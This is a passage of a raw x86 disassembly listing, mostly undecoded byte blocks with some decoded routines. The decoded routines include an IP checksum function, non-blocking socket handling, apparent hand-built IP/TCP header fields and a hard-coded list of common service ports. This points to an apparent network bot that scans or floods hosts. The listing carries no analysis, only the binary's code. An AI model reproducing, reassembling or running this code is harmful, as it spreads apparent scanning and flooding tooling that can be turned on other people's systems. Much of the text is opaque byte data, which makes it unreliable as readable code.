dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh
dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004CB6h, 0E2458966h
dd 0B62415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B68815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh
dd 4CB6BC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h
dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB6A4h
dd 89FFF883h, 6675FC45h, 0B5B815FFh, 8D50004Ch, 0FFFBC085h
dd 653C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
dd 535959FFh, 0CA7FE890h, 4D8D0246h, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CB60415h, 0FFF88300h, 15FF6675h, 4CB5B8h
dd 0C0858D50h, 68FFFFFBh, 436504h, 7958E850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 246CA01h, 0FDC4858Dh
dd 0FF50FFFFh, 4CB66415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 4364E468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
dd 0E8905359h, 246C991h, 458D106Ah, 0E85053BCh, 7598h
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB624h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CB66415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B62415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h
dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0B66415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
dd 66004CB6h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
dd 2415FF52h, 68004CB6h, 12345678h, 0E8458966h, 0B62015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B24Ch, 77EEE850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42B088h, 77CEE850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42B080h
dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CB624h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 2415FF06h
dd 66004CB6h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CB68815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h, 4CB5B815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 43649468h, 0C0858D00h, 68FFFFFBh
dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
dd 246C695h, 0FFFC75FFh, 4CB6BC15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 43644468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
dd 90535959h, 46C604E8h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A5
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414397: ; CODE XREF: ___:0041439Fj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414397
pop edi
cmp eax, 1
loc_4143A5: ; CODE XREF: ___:0041438Bj
jnz short loc_4143B2
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B2: ; CODE XREF: ___:loc_4143A5j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 657068FFh, 0E8500043h
dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 6F98E8F0h, 5959FFFFh, 0C4FBE856h, 55900246h, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0B6A415FFh, 4589004Ch, 50D6FFF8h
dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 6FE89000h, 2B0241C9h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CEDD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CB5C8h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42DC3468h
dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 0B868FFFFh
dd 50004CE7h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CB664h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CB624h, 0AE458966h, 7345E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h
dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB68815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0B6BC15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 4365A4h, 7160E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh
dd 90006A14h, 46C238E8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB6A415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436794h, 710CE850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CB604h, 75FFF883h, 0B815FF0Eh
dd 50004CB5h, 43674468h, 8D1BEB00h, 0FF500C45h, 4CB66415h
dd 0FFF88300h, 15FF2075h, 4CB5B8h, 67006850h, 858D0043h
dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 2415FF00h, 66004CB6h, 8DDE4589h, 90500C45h
dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 66D468FFh, 0E8500043h, 706Ah
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CEDD83Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CB5C8h, 0E8016A53h, 3DD4h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0DC3468ACh
dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE7B868h
dd 0CDE85000h, 59000075h, 5C65659h, 4CE9B8h, 2415FF45h
dd 66004CB6h, 4CE9BAA3h, 0AC458D00h, 5C76650h, 4CE9BCh
dd 89660001h, 4CE9BE3Dh, 0C005C600h, 80004CE9h, 0E9C105C6h
dd 6611004Ch, 0E9C23D89h, 15FF004Ch, 4CB664h, 4CE9C4A3h
dd 0E0458B00h, 4CE9C8A3h, 8C858D00h, 50000000h, 0D23D8966h
dd 0E8004CE9h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h
dd 4CB62415h, 0CEA36600h, 0E8004CE9h, 6F66h, 401B999h
dd 8680000h, 0F7000004h, 158966F9h, 4CE9CCh, 0B62415FFh
dd 68004Ch, 66000004h, 4CE9D0A3h, 6F3CE800h, 0F7990000h
dd 0D46852FBh, 0E8004CE9h, 6BDCh, 8D0CC483h, 106ADC45h
dd 68565750h, 4CE9B8h, 0FFF475FFh, 4CB68815h, 0FFF88300h
dd 0A5840Fh, 45FF0000h, 0C474E8FCh, 2B900241h, 0D233F845h
dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004CB6h, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43667068h
dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CB5B815h, 458D5000h, 0E468500Ch, 0EB004365h
db 0ACh
byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CB66415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 67C068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BE3BE856h
dd 5F900246h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6E
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 71AB3E5Dh
nop
jmp loc_414C2A
; ---------------------------------------------------------------------------
loc_414B6E: ; CODE XREF: ___:00414B58j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
call near ptr 71AB155Ah
nop
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB5CC
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB60C
test eax, eax
jnz short loc_414BD2
or eax, 0FFFFFFFFh
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BCBj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDD
loc_414BD9: ; CODE XREF: ___:00414BFDj
; ___:00414C21j
mov eax, edi
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BDD: ; CODE XREF: ___:00414BD7j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414BFF
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BD9
loc_414BFF: ; CODE XREF: ___:00414BECj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_414BD9
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2A: ; CODE XREF: ___:00414B69j
; ___:00414BD0j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh, 6AEC4D8Dh
dd 26A5104h, 48A35053h, 0FF004CEEh, 4CB60415h, 0A8358B00h
dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
dd 53004CB6h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB6A415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B6BC15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0EE4CBF83h, 0F068004Ch, 570042D0h, 6A85E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 0EC685750h, 57004367h, 0E8F04589h, 6A46h
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
dd 4CB62415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CEDE8h, 6717E8h, 0FFFFBE00h
dd 5C60000h, 4CEDE8h, 685645h, 0C6000004h, 4CEDF105h, 5C60600h
dd 4CEDE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4CB624h
dd 0A366286Ah, 4CEDECh, 0B62415FFh, 0D80004Ch, 4CEDF0h
dd 0D81D39FFh, 66004CEDh, 4CEDEAA3h, 1D896600h, 4CEDEEh
dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CE7B868h, 6415FF00h, 0A3004CB6h
dd 4CEDF4h, 6808458Bh, 4000h, 4CEDF8A3h, 91D8800h, 0FF004CEEh
dd 4CB62415h, 66535600h, 4CEE0AA3h, 3762E800h, 0F88B0000h
dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0B62015FFh
dd 0A3004Ch, 0A0004CEEh, 4CEE08h, 24087D8Bh, 6A500C0Fh
dd 0EE08A214h, 8B66004Ch, 1D89F045h, 4CEE04h, 0E1D8966h
dd 66004CEEh, 4CEDFEA3h, 243D8900h, 88004CEEh, 4CEE281Dh
dd 2905C600h, 6004CEEh, 0B62415FFh, 0A366004Ch, 4CEE2Ah
dd 0EDFEA166h, 0C766004Ch, 4CEE1005h, 89000200h, 4CEE143Dh
dd 12A36600h, 89004CEEh, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 36CBE8h, 50595900h, 0B62415FFh, 0A366004Ch
dd 4CEDFCh, 4CEDF4A1h, 0EE20A300h, 5C6004Ch, 4CEE09h, 41D8902h
dd 0EB004CEEh, 0C653561Fh, 4CEE0905h, 95E81000h, 59000036h
dd 15FF5059h, 4CB624h, 0A3C0B70Fh, 4CEE04h, 0EC05FF66h
dd 0FF004CEDh, 4CEE0005h, 0FEA16600h, 6A004CEDh, 0FCBE5905h
dd 0BF004CEDh, 4CEE2Ch, 0F21D8966h, 66004CEDh, 0EE0C1D89h
dd 146A004Ch, 0E8BEA5F3h, 66004CEDh, 4CEE12A3h, 25E85600h
dd 6AFFFF5Ch, 0EE206820h, 0A366004Ch, 4CEDF2h, 0FF5C13E8h
dd 10C483FFh, 0EE0CA366h, 106A004Ch, 4CEE1068h, 286A5300h
dd 4835FF56h, 0FF004CEEh, 4CB68815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0BDC8E8FFh, 2B900241h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 240B4C2h
dd 0FDC2E990h, 5E5FFFFFh, 4CEE4CB8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D7E0
mov edi, 0B8h
loc_4150C8: ; CODE XREF: sub_4150B4+33j
cmp byte ptr [esi], 0
jz short loc_4150EB
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EB
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E360
jl short loc_4150C8
jmp short loc_41512D
; ---------------------------------------------------------------------------
loc_4150EB: ; CODE XREF: sub_4150B4+17j
; sub_4150B4+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D7E0[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D7F8[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_429498
pop ebx
loc_41512D: ; CODE XREF: sub_4150B4+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436808
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
xor edi, edi
mov esi, offset dword_43D7E0
loc_41515E: ; CODE XREF: sub_415134+72j
cmp byte ptr [esi], 0
jz short loc_415199
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_4367F4
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
loc_415199: ; CODE XREF: sub_415134+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E360
jl short loc_41515E
pop edi
pop esi
leave
retn
sub_415134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AC proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 293012Ah
mov ebx, offset dword_4D324C
mov edi, 80h
mov esi, offset dword_4CF24C
loc_4151CE: ; CODE XREF: sub_4151AC+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E5
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E5: ; CODE XREF: sub_4151AC+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CE
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415220 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AC
add esp, 14h
leave
retn
sub_415220 endp
; =============== S U B R O U T I N E =======================================
sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF24C
xor ecx, ecx
loc_415253: ; CODE XREF: sub_41524C+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D324C
jl short loc_415253
cmp [esp+arg_C], ecx
jnz short loc_415281
push ecx
push [esp+4+arg_8]
push offset dword_436854
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A72
add esp, 14h
loc_415281: ; CODE XREF: sub_41524C+19j
push offset dword_436840
call sub_4151AC
pop ecx
retn
sub_41524C endp
; ---------------------------------------------------------------------------
byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4152E0
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
